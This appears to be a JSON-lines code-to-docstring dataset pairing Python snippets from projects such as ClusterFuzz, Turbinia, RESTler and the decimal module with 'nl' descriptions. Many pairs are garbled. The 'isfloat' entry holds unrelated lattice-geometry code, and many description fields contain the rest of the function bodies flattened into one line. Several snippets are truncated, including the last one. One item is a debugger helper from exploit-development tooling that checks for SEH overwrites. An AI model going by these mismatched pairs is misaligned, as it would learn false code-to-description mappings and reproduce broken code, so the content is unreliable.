['clusterfuzz._internal.fuzzing.corpus_manager._count_corpus_files','multiprocessing.cpu_count','subprocess.Popen',])self.mock.Popen.return_value.poll.return_value = 0self.mock.Popen.return_value.communicate.return_value = (None, None)self.mock.cpu_count.return_value = 2self.mock._count_corpus_files.return_value = 1 # pylint: disable=protected-accesstest_utils.set_up_pyfakefs(self)self.fs.create_dir('/dir')def test_rsync_to_disk(self):Test rsync_to_disk."} {"code": "def testEvidenceValidationNoAttribute(self):\n test_evidence = TestEvidence()\n test_evidence.preprocess(\n 'task123', required_states=[evidence.EvidenceState.ATTACHED])\n mock_preprocess.assert_called_with(None, [evidence.EvidenceState.ATTACHED])", "nl": "Test failed evidence validation with no attribute.rawdisk = evidence.RawDisk(name='My Evidence', source_path='/tmp/foo')rawdisk.REQUIRED_ATTRIBUTES = ['doesnotexist']self.assertRaises(TurbiniaException, rawdisk.validate)@mock.patch('turbinia.evidence.Evidence._preprocess')def testEvidencePreprocess(self, mock_preprocess):Basic test for Evidence.preprocess()."} {"code": "def set_include(self, commandClass):\n return self.addOptionString(\"Include\", commandClass, True)\n", "nl": "Only handle the specified command classes. The Exclude option is ignored if anything is seted here.:param commandClass: The location of the log file:type commandClass: str"} {"code": "def isfloat(word):\n b = a\n c = a\n alpha = 90\n beta = 90\n gamma = 90\n alph = alpha*np.pi/180\n bet = beta*np.pi/180\n gamm = gamma*np.pi/180\n v = np.sqrt(1 - cos(alph)**2 - cos(bet)**2 - cos(gamm)**2 + 2*cos(alph)*cos(bet)*cos(gamm))\n Mat = np.array([[a, b*cos(gamm), c*cos(bet)],\n [0, b*sin(gamm), c*((cos(alph)-cos(bet)*cos(gamm))/sin(gamm))],\n [0, 0, c*v/sin(gamm)]])\n L1 = Mat.dot(np.array([[1],[0],[0]]))\n L2 = Mat.dot(np.array([[0],[1],[0]]))\n L3 = Mat.dot(np.array([[0],[0],[1]]))\n return Box(a,b,c,alpha,beta,gamma,np.array(L1).flatten(),np.array(L2).flatten(),np.array(L3).flatten(),v*a*b*c)\n", "nl": "Matches ANY number; it can be a decimal, scientific notation, integer, or what have youreturn re.match(r'^[-+]?[0-9]*\\.?[0-9]*([eEdD][-+]?[0-9]+)?$',word)# Used to get the white spaces in a split line.splitter = re.compile(r'(\\s+|\\S+)')# Container for Bravais lattice vector. Three cell lengths, three angles, three vectors, volume, and TINKER trig functions.Box = namedtuple('Box',['a','b','c','alpha','beta','gamma','A','B','C','V'])radian = 180. / np.pidef CubicLattice(a): This function takes in three lattice lengths and three lattice angles, and tries to return a complete box specification. "} {"code": "def getUserComments(uid, page, include_deleted_comments=False):\n try:\n com = (\n SubPostComment.select(\n Sub.name.alias(\"sub\"),\n SubPost.title,\n SubPostComment.cid,\n SubPostComment.pid,\n SubPostComment.uid,\n SubPostComment.time,\n SubPostComment.lastedit,\n SubPostComment.content,\n SubPostComment.status,\n SubPostComment.score,\n SubPostComment.parentcid,\n SubPost.posted,\n SubPost.deleted.alias(\"post_deleted\"),\n SubPost.nsfw.alias(\"nsfw\"),\n Sub.nsfw.alias(\"sub_nsfw\"),\n )\n .join(SubPost)\n .switch(SubPostComment)\n .join(Sub, on=(Sub.sid == SubPost.sid))\n .where(SubPostComment.uid == uid)\n )\n if include_deleted_comments:\n if isinstance(include_deleted_comments, list):\n com = com.where(\n SubPostComment.status.is_null()\n | (Sub.sid << include_deleted_comments)\n )\n elif not current_user.is_admin():\n com = com.where(\n SubPostComment.status.is_null() | (SubPostComment.status << [0, 2])\n )\n else:\n com = com.where(SubPostComment.status.is_null())\n com = com.where(Sub.status == 0)\n\n if \"nsfw\" not in current_user.prefs:\n com = com.where(SubPost.nsfw == 0)\n\n com = com.order_by(SubPostComment.time.desc()).paginate(page, 20).dicts()\n except SubPostComment.DoesNotExist:\n return False\n\n com = list(com)\n now = datetime.utcnow()\n limit = timedelta(days=config.site.archive_post_after)\n for c in com:\n c[\"archived\"] = now - c[\"posted\"].replace(tzinfo=None) > limit\n c = add_blur(c)\n return com\n\n", "nl": "Returns comments for a user. 'include_deleted_comments' may beTrue, False or a list of subs, in which case deleted comments fromthose subs will be included in the result."} {"code": "def setUp(self):\n self.framework = FrameworkFactory.get_framework()\n self.framework.start()\n self.ipopo = install_ipopo(self.framework)\n", "nl": "Called before each test. Initiates a framework."} {"code": "def shift(self, other, context=None):\n\n The specifier should be a standard format specifier, with the\n form described in PEP 3101. Formatting types 'e', 'E', 'f',\n 'F', 'g', 'G', 'n' and '%' are supported. If the formatting", "nl": "Returns a shifted copy of self, value-of-other times.if context is None:context = getcontext()other = _convert_other(other, raiseit=True)ans = self._check_nans(other, context)if ans:return ansif other._exp != 0:return context._raise_error(InvalidOperation)if not (-context.prec <= int(other) <= context.prec):return context._raise_error(InvalidOperation)if self._isinfinity():return Decimal(self)# get values, pad if necessarytorot = int(other)rotdig = self._inttopad = context.prec - len(rotdig)if topad > 0:rotdig = '0'*topad + rotdigelif topad < 0:rotdig = rotdig[-topad:]# let's shift!if torot < 0:shifted = rotdig[:torot]else:shifted = rotdig + '0'*torotshifted = shifted[-context.prec:]return _dec_from_triple(self._sign,shifted.lstrip('0') or '0', self._exp)# Support for pickling, copy, and deepcopydef __reduce__(self):return (self.__class__, (str(self),))def __copy__(self):if type(self) is Decimal:return self # I'm immutable; therefore I am my own clonereturn self.__class__(str(self))def __deepcopy__(self, memo):if type(self) is Decimal:return self # My components are also immutablereturn self.__class__(str(self))# PEP 3101 support. the _localeconv keyword argument should be# considered private: it's provided for ease of testing only.def __format__(self, specifier, context=None, _localeconv=None):Format a Decimal instance according to the given specifier."} {"code": "def _finish_job(self):\n if self.args is not None:\n job_repository = JobRepository(self.db)\n job_metric = JobMetric(\n job_name=self.job_name,\n batch_date=self.args.date,\n start_ts=self.start_ts,\n end_ts=self.end_ts,\n command=\" \".join(sys.argv),\n success=self.success,\n )\n job_id = job_repository.add(job_metric)\n self.log.info(\"Job ID: \" + job_id)", "nl": "Tie up any loose ends.self.end_ts = datetime.now()self._insert_metrics()self.db.close()self.log.info(\"script run time: \" + str(self.end_ts - self.start_ts))# Logger builds daily files, delineate end in case of multiple runsself.log.info(\"* * * * * END OF JOB * * * * *\")def _insert_metrics(self):Add a row to the job metric table for monitoring purposes."} {"code": "def get_instance(cls, path=None): # type: (typing.Optional[pathlib.Path]) -> Config\n if hasattr(cls, '_instance'):\n instance = cls._instance\n\n if path is not None and instance.loaded_path != path:\n logger.warning('Somebody is trying to load config with different path \"{}\", but we already have cached'\n 'instance with path \"{}\"'.format(path, instance.loaded_path))\n\n return instance\n\n if path is None:\n if ENV_NAME_CONFIG_PATH in os.environ:\n path = pathlib.Path(os.environ[ENV_NAME_CONFIG_PATH])\n else:\n path = pathlib.Path(cls.DEFAULT_CONFIG_PATH)\n\n if not path.exists():\n logger.info(f'Config on the path {path} was not found! Bootstrapping it there!')\n cls.bootstrap(path)\n\n logger.info('Loading and caching config from file: {}'.format(path))\n cls._instance = cls(path)\n return cls._instance\n\n @classmethod", "nl": "Method that resolves from where the config should be loaded.:return:"} {"code": "def import_grammar(path):\n req_collection = import_utilities.import_attr(path, \"req_collection\")\n\n grammar_name = os.path.basename(path).replace(\".py\", \"\")\n grammar_file = f'restler_grammar_{grammar_name}_{os.getpid()}.py'\n try:\n target_path = os.path.join(logger.EXPERIMENT_DIR, grammar_file)\n shutil.copyfile(path, target_path)\n except shutil.Error:\n pass\n\n return req_collection\n", "nl": " Imports grammar from path. Must work with relative and full paths.@param path: The path to import grammar from.@type path: Str@return: The RequestCollection constructed from grammar in @param path.@rtype: RequestCollection class object."} {"code": "def close(self):\n return self.sock.close()\n\n\nclass UDPServer:\n \"\"\"", "nl": "Tear down this server and release its resources"} {"code": "def __delitem__(self, index):\n if index < 0:\n index += len(self._value_list)\n if not (0 <= index < len(self._value_list)):\n raise IndexError(_(\"list assignment index out of range (%s/%s)\")\n % (index, len(self._value_list)))\n del self._value_list[index]\n del self._key_list[index]\n\n for key, item_index in self._index.iteritems():\n if item_index == index:\n del self._index[key]\n break\n\n for key, item_index in self._index.iteritems():\n if index < item_index:\n self._index[key] -= 1\n", "nl": "Delete item at position index. May raise IndexError.>>> d=Dict( ((6, 'six'), (9, 'neuf'), (4, 'quatre')) )>>> del d[1]>>> d{6: 'six', 4: 'quatre'}"} {"code": "def set_durations(self):\n content = \"\"\n if os.path.exists(self.session):\n f = open(self.session)\n content = f.readline()\n f.close()\n return content.rsplit()\n", "nl": "Set durations from session values if available.options = self.read_session_file()if len(options) > 0:self.set_session_duration(options[0])if len(options) > 1:self.set_break_duration(options[1])def read_session_file(self):Get pomodoro and break durations from session as a list."} {"code": "def parse_ns_headers(ns_headers):\n known_attrs = (\"expires\", \"domain\", \"path\", \"secure\",\n \"port\", \"max-age\")\n\n result = []\n for ns_header in ns_headers:\n pairs = []\n version_set = False\n for ii, param in enumerate(re.split(r\";\\s*\", ns_header)):\n param = param.rstrip()\n if param == \"\": continue\n if \"=\" not in param:\n k, v = param, None\n else:\n k, v = re.split(r\"\\s*=\\s*\", param, 1)\n k = k.lstrip()\n if ii != 0:\n lc = k.lower()\n if lc in known_attrs:\n k = lc\n if k == \"version\":\n version_set = True\n if k == \"expires\":\n if v.startswith('\"'): v = v[1:]\n if v.endswith('\"'): v = v[:-1]\n v = http2time(v)\n pairs.append((k, v))\n\n if pairs:\n if not version_set:\n pairs.append((\"version\", \"0\"))\n result.append(pairs)\n\n return result\n\n\nIPV4_RE = re.compile(r\"\\.\\d+$\")", "nl": "Ad-hoc parser for Netscape protocol cookie-attributes.The old Netscape cookie format for Set-Cookie can for instance containan unquoted \",\" in the expires field, so we have to use this ad-hocparser instead of split_header_words.XXX This may not make the best possible effort to parse all the crapthat Netscape Cookie headers contain. Ronald Tschalar's HTTPClientparser is probably better, so could do worse than following that ifthis ever gives any trouble.Currently, this is also used for parsing RFC 2109 cookies."} {"code": "def test_password_protection_overrides_normal_auth(self, fake_authorizer):\n project = ProjectFactory.create(published=False)\n TaskFactory.create(project=project)\n project.set_password('mysecret')\n project_repo.update(project)\n\n self.app.get('/project/%s' % project.short_name, follow_redirects=True)\n\n assert fake_authorizer.called == False\n\n @with_context\n @patch('pybossa.view.projects.ensure_authorized_to')", "nl": "Test if a project is password protected, that is the only authorizationrequired for it to be seen"} {"code": "def test_set_valid_acl_bucket(self):\n obj_uri = suri(self.CreateObject(contents=b'foo'))\n stderr = self.RunGsUtil(self._set_acl_prefix +\n ['not-a-canned-acl', obj_uri],\n return_stderr=True,\n expected_status=1)\n self.assertIn('CommandException', stderr)\n self.assertIn('Invalid canned ACL', stderr)\n", "nl": "Ensures that valid canned and XML ACLs work with get/set.if self._ServiceAccountCredentialsPresent():# See comments in _ServiceAccountCredentialsPresentreturn unittest.skip('Canned ACLs orphan service account permissions.')bucket_uri = suri(self.CreateBucket())acl_string = self.RunGsUtil(self._get_acl_prefix + [bucket_uri],return_stdout=True)inpath = self.CreateTempFile(contents=acl_string.encode(UTF8))self.RunGsUtil(self._set_acl_prefix + ['public-read', bucket_uri])acl_string2 = self.RunGsUtil(self._get_acl_prefix + [bucket_uri],return_stdout=True)self.RunGsUtil(self._set_acl_prefix + [inpath, bucket_uri])acl_string3 = self.RunGsUtil(self._get_acl_prefix + [bucket_uri],return_stdout=True)self.assertNotEqual(acl_string, acl_string2)self.assertEqual(acl_string, acl_string3)def test_invalid_canned_acl_object(self):Ensures that an invalid canned ACL returns a CommandException."} {"code": "def difference(self, other):\n result = self.__class__()\n data = result._data\n try:\n otherdata = other._data\n except AttributeError:\n otherdata = Set(other)._data\n value = True\n for elt in ifilterfalse(otherdata.has_key, self):\n data[elt] = value\n return result\n\n", "nl": "Return the difference of two sets as a new Set.(I.e. all elements that are in this set and not in the other.)"} {"code": "def file_hash(file_path):\n import multiprocessing\n\n return environment.get_value('CPU_COUNT_OVERRIDE',\n multiprocessing.cpu_count())", "nl": "Returns the SHA-1 hash of |file_path| contents.chunk_size = 51200 # Read in 50 KB chunks.digest = hashlib.sha1()with open(file_path, 'rb') as file_handle:chunk = file_handle.read(chunk_size)while chunk:digest.update(chunk)chunk = file_handle.read(chunk_size)return digest.hexdigest()def cpu_count():Get the CPU count."} {"code": "def fire(self, func, value):\n self.pending = None\n func(value)\n\n\n\n@_oldStyle\nclass ClientCreator:\n \"\"\"\n", "nl": "Clear C{self.pending} to avoid a reference cycle and then invoke funcwith the value."} {"code": "def test_ClassDefinition(self):\n done = self.recvlineClient.expect(b\"done\")\n self._testwrite(\n b\"class Foo:\\n\"", "nl": "Evaluate class definition."} {"code": "def task_completeoutright(self, task):\n self.runq_complete.add(task)\n for revdep in self.rqdata.runtaskentries[task].revdeps:\n if revdep in self.runq_running:\n continue\n if revdep in self.runq_buildable:\n continue\n alldeps = True\n for dep in self.rqdata.runtaskentries[revdep].depends:\n if dep not in self.runq_complete:\n alldeps = False\n break\n if alldeps:\n self.setbuildable(revdep)\n logger.debug(\"Marking task %s as buildable\", revdep)\n", "nl": "Mark a task as completedLook at the reverse dependencies and mark any task withcompleted dependencies as buildable"} {"code": "def interfaces(self):\n yield self\n", "nl": "Return an iterator for the interfaces in the specification."} {"code": "def checkSEHOverwrite(address, nseh, seh):\n\tpattypes = [\"normal\",\"upper\",\"lower\",\"unicode\"]\n\toverwritten = []\n\tglobal silent\n\tsilent = True\n\n\tfullpattern = createPattern(50000,{})\n\tfor pattype in pattypes:\n\t\tregpattern = fullpattern\n\t\thexpat = toHex(seh)\n\t\thexpat = toAscii(hexpat[6]+hexpat[7])+toAscii(hexpat[4]+hexpat[5])+toAscii(hexpat[2]+hexpat[3])+toAscii(hexpat[0]+hexpat[1])\n\t\tfactor = 1\n\t\tgoback = 4\n\t\tif pattype == \"upper\":\n\t\t\tregpattern = regpattern.upper()\n\t\tif pattype == \"lower\":\n\t\t\tregpattern = regpattern.lower()\n\t\tif pattype == \"unicode\":\n\t\t\thexpat = dbg.readMemory(address,8)\n\t\t\thexpat = hexpat.replace('\\x00','')\n\t\t\tgoback = 2\n\t\toffset = regpattern.find(hexpat)-goback\n\t\tthissize = 0\n\t\tif offset > -1:\n\t\t\tthepointer = MnPointer(address)\n\t\t\tif thepointer.isOnStack():\n\t\t\t\tthissize = getPatternLength(address+4,pattype)\n\t\t\t\tif thissize > 0:\n\t\t\t\t\toverwritten = [pattype,offset]\n\t\t\t\t\tbreak\n\tsilent = False\n\treturn overwritten\n\n", "nl": "Checks if the current SEH record is overwrittenwith a cyclic patternInput : address of SEH record, nseh value, seh valueReturns : array. Non empty array = SEH is overwrittenArray contents :[0] : type (normal, upper, lower, unicode)[1] : offset to nseh"} {"code": "def _ave(self):\n\n return np.asarray(np.mean(self.full_estim.x, axis=0)).flatten()\n", "nl": "Returns the mean expression by gene:return: np.ndarray"} {"code": "def calc_type(self):\n raise NotImplementedError\n\n\nclass CpuResourceCalculator(ResourceCalculator):\n\n @property", "nl": "Type of the resource calculatorraise NotImplementedError@staticmethoddef get_total_gpu_count(user_specified_num_gpus: int, model_default_num_gpus: int):if user_specified_num_gpus is not None:num_gpus = min(user_specified_num_gpus, get_gpu_count_all())elif model_default_num_gpus > 0:num_gpus = get_gpu_count_all()else:num_gpus = 0return num_gpus@staticmethoddef get_total_cpu_count(user_specified_num_cpus: int, model_default_num_cpus: int):if user_specified_num_cpus is not None:num_cpus = min(user_specified_num_cpus, get_cpu_count())elif model_default_num_cpus > 0:num_cpus = get_cpu_count()else:num_cpus = 0return num_cpus@abstractmethoddef get_resources_per_job(self, **kwargs) -> dict:Calculate resources per trial and return additional info"} {"code": "def test_addvideo(self):\n api = self.api\n ret = api.tweet.list(ids=[79504073889068,\n 36575045593232])\n assert len(ret) == 2\n assert type(ret[0]) == models.Tweet\n\n assert not ret.hasnext\n\n for t in ret:\n assert t.id in ['79504073889068', '36575045593232']\n\n\nclass UserAPITestCase(APITestCase):", "nl": "api.tweet.addvideoreturnapi = self.apiret = api.tweet.addvideo(url='',content='Video',clientip='127.0.0.1')assert type(ret) == models.RetIdtest_ids.append(ret.id)t = ret.as_tweet()assert hasattr(t, 'video')assert bool(t.video)assert type(t.video) == models.Videoassert 'Video' in t.origtextdef test_list(self):api.tweet.list"} {"code": "def accumulate(self, p=None):\n logger.info(\"Accumulating evaluation results...\")\n tic = time.time()\n if not self.evalImgs:\n logger.info(\"Please run evaluate() first\")\n if p is None:\n p = self.params\n p.catIds = p.catIds if p.useCats == 1 else [-1]\n T = len(p.iouThrs)\n R = len(p.recThrs)\n K = len(p.catIds) if p.useCats else 1\n A = len(p.areaRng)\n M = len(p.maxDets)\n precision = -np.ones((T, R, K, A, M))\n recall = -np.ones((T, K, A, M))\n\n logger.info(\"Categories: {}\".format(p.catIds))\n _pe = self._paramsEval\n catIds = _pe.catIds if _pe.useCats else [-1]\n setK = set(catIds)\n setA = set(map(tuple, _pe.areaRng))\n setM = set(_pe.maxDets)\n setI = set(_pe.imgIds)\n k_list = [n for n, k in enumerate(p.catIds) if k in setK]\n m_list = [m for n, m in enumerate(p.maxDets) if m in setM]\n a_list = [n for n, a in enumerate(map(lambda x: tuple(x), p.areaRng)) if a in setA]\n i_list = [n for n, i in enumerate(p.imgIds) if i in setI]\n I0 = len(_pe.imgIds)\n A0 = len(_pe.areaRng)\n for k, k0 in enumerate(k_list):\n Nk = k0 * A0 * I0\n for a, a0 in enumerate(a_list):\n Na = a0 * I0\n for m, maxDet in enumerate(m_list):\n E = [self.evalImgs[Nk + Na + i] for i in i_list]\n E = [e for e in E if e is not None]\n if len(E) == 0:\n continue\n dtScores = np.concatenate([e[\"dtScores\"][0:maxDet] for e in E])\n\n inds = np.argsort(-dtScores, kind=\"mergesort\")\n\n dtm = np.concatenate([e[\"dtMatches\"][:, 0:maxDet] for e in E], axis=1)[:, inds]\n dtIg = np.concatenate([e[\"dtIgnore\"][:, 0:maxDet] for e in E], axis=1)[:, inds]\n gtIg = np.concatenate([e[\"gtIgnore\"] for e in E])\n npig = np.count_nonzero(gtIg == 0)\n if npig == 0:\n continue\n tps = np.logical_and(dtm, np.logical_not(dtIg))\n fps = np.logical_and(np.logical_not(dtm), np.logical_not(dtIg))\n tp_sum = np.cumsum(tps, axis=1).astype(dtype=np.float)\n fp_sum = np.cumsum(fps, axis=1).astype(dtype=np.float)\n for t, (tp, fp) in enumerate(zip(tp_sum, fp_sum)):\n tp = np.array(tp)\n fp = np.array(fp)\n nd = len(tp)\n rc = tp / npig\n pr = tp / (fp + tp + np.spacing(1))\n q = np.zeros((R,))\n\n if nd:\n recall[t, k, a, m] = rc[-1]\n else:\n recall[t, k, a, m] = 0\n\n pr = pr.tolist()\n q = q.tolist()\n\n for i in range(nd - 1, 0, -1):\n if pr[i] > pr[i - 1]:\n pr[i - 1] = pr[i]\n\n inds = np.searchsorted(rc, p.recThrs, side=\"left\")\n try:\n for ri, pi in enumerate(inds):\n q[ri] = pr[pi]\n except Exception:\n pass\n precision[t, :, k, a, m] = np.array(q)\n logger.info(\n \"Final: max precision {}, min precision {}\".format(np.max(precision), np.min(precision))\n )\n self.eval = {\n \"params\": p,\n \"counts\": [T, R, K, A, M],\n \"date\": datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\"),\n \"precision\": precision,\n \"recall\": recall,\n }\n toc = time.time()\n logger.info(\"DONE (t={:0.2f}s).\".format(toc - tic))\n", "nl": "Accumulate per image evaluation results and store the result in self.eval:param p: input params for evaluation:return: None"} {"code": "def lex(curline):\n\n offset = 0\n cur_word = []\n while offset < len(curline):\n\n c = curline[offset]\n\n if c == idaapi.COLOR_ON:\n if cur_word:\n yield StringSymbol(''.join(cur_word))\n cur_word = []\n\n offset += 1\n color = curline[offset]\n\n yield ColorOnSymbol(color)\n offset += 1\n\n elif c == idaapi.COLOR_OFF:\n if cur_word:\n yield StringSymbol(''.join(cur_word))\n cur_word = []\n\n offset += 1\n color = curline[offset]\n\n yield ColorOffSymbol(color)\n offset += 1\n\n elif c == idaapi.COLOR_ESC:\n if cur_word:\n yield StringSymbol(''.join(cur_word))\n cur_word = []\n\n offset += 1\n c = curline[offset]\n\n cur_word.append(c)\n offset += 1\n\n elif c == idaapi.COLOR_INV:\n if cur_word:\n yield StringSymbol(''.join(cur_word))\n cur_word = []\n\n yield ColorInvSymbol()\n offset += 1\n\n else:\n cur_word.append(c)\n offset += 1\n", "nl": "split the line returned by `get_custom_viewer_curline` into symbols.it pulls out the strings, color directives, and escaped characters.Args:curline (str): a line returned by `idaapi.get_custom_viewer_curline`Returns:generator: generator of Symbol subclass instances"} {"code": "def test_bold_on(self):\n properties = self._load_styles_from_xml(xml)\n self.assertEqual(properties.bold.value, 'on')\n assert bool(properties.bold)\n", "nl": "xml = b"} {"code": "def server_backup(self, client=None, agent=None):\n raise NotImplementedError(\n \"Sorry, the current Backend does not implement this method!\"\n )\n\n @abstractmethod", "nl": "The :func:`burpui.misc.backend.interface.BUIbackend.server_backup`function is used to schedule a server-side initiated backup.:param client: Client name:type client: str:param agent: What server to ask (only in multi-agent mode):type agent: str:returns: A list of notifications to return to the UI (success orfailure)"} {"code": "def method1(price, n, S):\n S[0] = 1\n for i in range(1, n, 1):\n S[i] = 1\n j = i - 1\n while (j >= 0) and (price[i] >= price[j]):\n S[i] += 1\n j -= 1\n\n\nif __name__ == \"__main__\":\n \"\"\"", "nl": "An algorithm that collects daily price quotes for some stock and returns the span of that stock's price for the current day.The span of the stock's price today is defined as the maximum number of consecutive days (starting from today and going backward) for which the stock price was less than or equal to today's price.For example, if the price of a stock over the next 7 days were [100,80,60,70,60,75,85], then the stock spans would be [1,1,1,2,1,4,6]."} {"code": "def load_system(self, merge=True):\n self._load_file(prefix=\"system\", merge=merge)\n", "nl": "Load a system-level config file, if possible.Checks the configured ``_system_prefix`` path, which defaults to``/etc``, and will thus load files like ``/etc/invoke.yml``.:param bool merge:Whether to merge the loaded data into the central config. Default:``True``.:returns: ``None``... versionadded:: 1.0"} {"code": "def __init__(self, prnNo):\n super(PrnCode, self).__init__()\n self.binCode = caCodes[prnNo - 1]\n self.prnNo = prnNo\n self.bitLookup = numpy.asarray([1, -1], dtype=numpy.int8)\n", "nl": "Initializes object.Parameters----------prnNo : intSV identifier"} {"code": "def cat_arg_and_value(arg_name, value):\n\n if arg_name.startswith(\"--\"):\n return \"=\".join((arg_name, str(value)))\n elif arg_name.startswith(\"-\"):\n return \" \".join((arg_name, str(value)))\n elif len(arg_name) == 1:\n return \" \".join((\"-\" + arg_name, str(value)))\n else:\n return \"=\".join((\"--\" + arg_name, str(value)))\n\n", "nl": "Concatenate a command line argument and its valueThis function returns ``arg_name`` and ``valueconcatenated in the best possible way for a commandline execution, namely:- if arg_name starts with `--` (e.g. `--arg`):`arg_name=value` is returned (i.e. `--arg=val`)- if arg_name starts with `-` (e.g. `-a`):`arg_name value` is returned (i.e. `-a val`)- if arg_name does not start with `-` and it is along option (e.g. `arg`):`--arg_name=value` (i.e., `--arg=val`)- if arg_name does not start with `-` and it is ashort option (e.g. `a`):`-arg_name=value` (i.e., `-a val`):param arg_name: the command line argument name:type arg_name: str:param value: the command line argument value:type value: str"} {"code": "def num_tokens(self, index: int):\n return max(\n dataset.num_tokens(self._map_index_to_dataset(key, index))\n for key, dataset in self.datasets.items()\n )\n", "nl": "Return an example's length (number of tokens), used for batching. Herewe return the max across all examples at index across all underlyingdatasets."} {"code": "def validate_orcid(orcid):\n orcid_regex = r\"\\A[0-9]{4}-[0-9]{4}-[0-9]{4}-[0-9]{3}[0-9X]\\Z\"\n\n if not re.match(orcid_regex, orcid):\n raise ValueError(f\"The format of this ORCID is incorrect: {orcid}\")\n\n if _orcid_checksum_digit(orcid[:-1]) != orcid[-1:]:\n raise ValueError(f\"{orcid} is not a valid ORCID\")\n\n return True\n\n", "nl": "Validate an ORCID identifier.Verify that an ORCID identifier conforms to the structure described athttp://support.orcid.org/knowledgebase/articles/116780-structure-of-the-orcid-identifierReturns the normalized ORCID if successfully parsed or raises a ValueErrorotherwise."} {"code": "def open_file_cm(path_or_file, mode=\"r\", encoding=None):\n return isinstance(val, str) or not np.iterable(val)\n\n", "nl": "rPass through file objects and context-manage `.PathLike`\\s.fh, opened = to_filehandle(path_or_file, mode, True, encoding)if opened:with fh:yield fhelse:yield fhdef is_scalar_or_string(val):Return whether the given object is a scalar or string like."} {"code": "def from_dict(cls, in_dict):\n", "nl": "Create pobject from dictionary.return cls(in_dict[\"sent_idx\"],in_dict[\"subsent_idx\"],in_dict[\"alias_list_pos\"],in_dict[\"alias_to_predict\"],in_dict[\"span\"],in_dict[\"phrase\"],in_dict[\"alias\"],in_dict[\"qid\"],in_dict[\"qid_cnt_mask_score\"],)class InputFeatures(object):A single set of features of data."} {"code": "def load_pkcs1_openssl_der(cls, keyfile):\n\n from rsa.asn1 import OpenSSLPubKey\n from pyasn1.codec.der import decoder\n from pyasn1.type import univ\n\n (keyinfo, _) = decoder.decode(keyfile, asn1Spec=OpenSSLPubKey())\n\n if keyinfo['header']['oid'] != univ.ObjectIdentifier('1.2.840.113549.1.1.1'):\n raise TypeError(\"This is not a DER-encoded OpenSSL-compatible public key\")\n\n return cls._load_pkcs1_der(keyinfo['key'][1:])\n\n\nclass PrivateKey(AbstractKey):\n \"\"\"Represents a private RSA key.\n\n __slots__ = ('n', 'e', 'd', 'p', 'q', 'exp1', 'exp2', 'coef')\n", "nl": "Loads a PKCS#1 DER-encoded public key file from OpenSSL.:param keyfile: contents of a DER-encoded file that contains the publickey, from OpenSSL.:return: a PublicKey object"} {"code": "def push_testcases_to_worker():\n local_testcases_directory = environment.get_value('FUZZ_INPUTS')\n worker_testcases_directory = rebase_to_worker_root(local_testcases_directory)\n return copy_directory_from_worker(\n worker_testcases_directory, local_testcases_directory, replace=True)\n\n", "nl": "Push all testcases to the worker.local_testcases_directory = environment.get_value('FUZZ_INPUTS')worker_testcases_directory = rebase_to_worker_root(local_testcases_directory)return copy_directory_to_worker(local_testcases_directory, worker_testcases_directory, replace=True)def pull_testcases_from_worker():Pull all testcases to the worker."} {"code": "def quote(str):\n return str.replace('\\\\', '\\\\\\\\').replace('\"', '\\\\\"')\n\n\nclass AddrlistClass:\n \"\"\"Address parser class by Ben Escoto.\n", "nl": "Prepare string to be used in a quoted string.Turns backslash and double quote characters into quoted pairs. Theseare the only characters that need to be quoted inside a quoted string.Does not add the surrounding double quotes."} {"code": "def autosplit(path='../coco128', weights=(0.9, 0.1, 0.0), annotated_only=False):\n path = Path(path)\n files = sum([list(path.rglob(f\"*.{img_ext}\")) for img_ext in img_formats], [])\n n = len(files)\n indices = random.choices([0, 1, 2], weights=weights, k=n)\n\n txt = ['autosplit_train.txt', 'autosplit_val.txt', 'autosplit_test.txt']\n [(path / x).unlink() for x in txt if (path / x).exists()]\n\n print(f'Autosplitting images from {path}' + ', using *.txt labeled images only' * annotated_only)\n for i, img in tqdm(zip(indices, files), total=n):\n if not annotated_only or Path(img2label_paths([str(img)])[0]).exists():\n with open(path / txt[i], 'a') as f:\n f.write(str(img) + '\\n')", "nl": " Autosplit a dataset into train/val/test splits and save path/autosplit_*.txt filesUsage: from utils.datasets import *; autosplit('../coco128')Argumentspath: Path to images directoryweights: Train, val, test weights (list)annotated_only: Only use images with an annotated txt file"} {"code": "def _processor(self, data):\n for item in data:\n if self.id_key:\n action_content = {'_id': item['doc'][self.id_key]}\n else:\n action_content = {}\n meta = json.dumps({item['action']: action_content})\n if item['action'] == 'index':", "nl": "The action must be one of the following:createCreate a document only if the document does not already exist.indexCreate a new document or replace an existing document.updateDo a partial update on a document.deleteDelete a document."} {"code": "def knapsack_build():\n\n\n peptide_mass_round = int(round(peptide_mass\n * deepnovo_config.KNAPSACK_AA_RESOLUTION))\n peptide_mass_upperbound = peptide_mass_round + mass_precision_tolerance\n peptide_mass_lowerbound = peptide_mass_round - mass_precision_tolerance\n\n if peptide_mass_upperbound < deepnovo_config.mass_AA_min_round:\n return []\n\n peptide_mass_lowerbound_col = peptide_mass_lowerbound - 1\n peptide_mass_upperbound_col = peptide_mass_upperbound - 1\n candidate_AA_id = np.flatnonzero(np.any(knapsack_matrix[:, peptide_mass_lowerbound_col:peptide_mass_upperbound_col+1],\n axis=1))\n\n\n return candidate_AA_id.tolist()\n\n", "nl": "TODO(nh2tran): docstring.peptide_mass = deepnovo_config.MZ_MAXpeptide_mass = peptide_mass - (deepnovo_config.mass_C_terminus + deepnovo_config.mass_H)print(\"peptide_mass = \", peptide_mass)peptide_mass_round = int(round(peptide_mass* deepnovo_config.KNAPSACK_AA_RESOLUTION))print(\"peptide_mass_round = \", peptide_mass_round)#~ peptide_mass_upperbound = (peptide_mass_round#~ + deepnovo_config.KNAPSACK_MASS_PRECISION_TOLERANCE)peptide_mass_upperbound = (peptide_mass_round+ deepnovo_config.KNAPSACK_AA_RESOLUTION)knapsack_matrix = np.zeros(shape=(deepnovo_config.vocab_size,peptide_mass_upperbound),dtype=bool)for aa_id in xrange(3, deepnovo_config.vocab_size): # excluding PAD, GO, EOSmass_aa_round = int(round(deepnovo_config.mass_ID[aa_id]* deepnovo_config.KNAPSACK_AA_RESOLUTION))print(deepnovo_config.vocab_reverse[aa_id], mass_aa_round)for col in xrange(peptide_mass_upperbound):# col 0 ~ mass 1# col + 1 = mass# col = mass - 1current_mass = col + 1if current_mass < mass_aa_round:knapsack_matrix[aa_id, col] = Falseif current_mass == mass_aa_round:knapsack_matrix[aa_id, col] = Trueif current_mass > mass_aa_round:sub_mass = current_mass - mass_aa_roundsub_col = sub_mass - 1if np.sum(knapsack_matrix[:, sub_col]) > 0:knapsack_matrix[aa_id, col] = Trueknapsack_matrix[:, col] = np.logical_or(knapsack_matrix[:, col],knapsack_matrix[:, sub_col])else:knapsack_matrix[aa_id, col] = 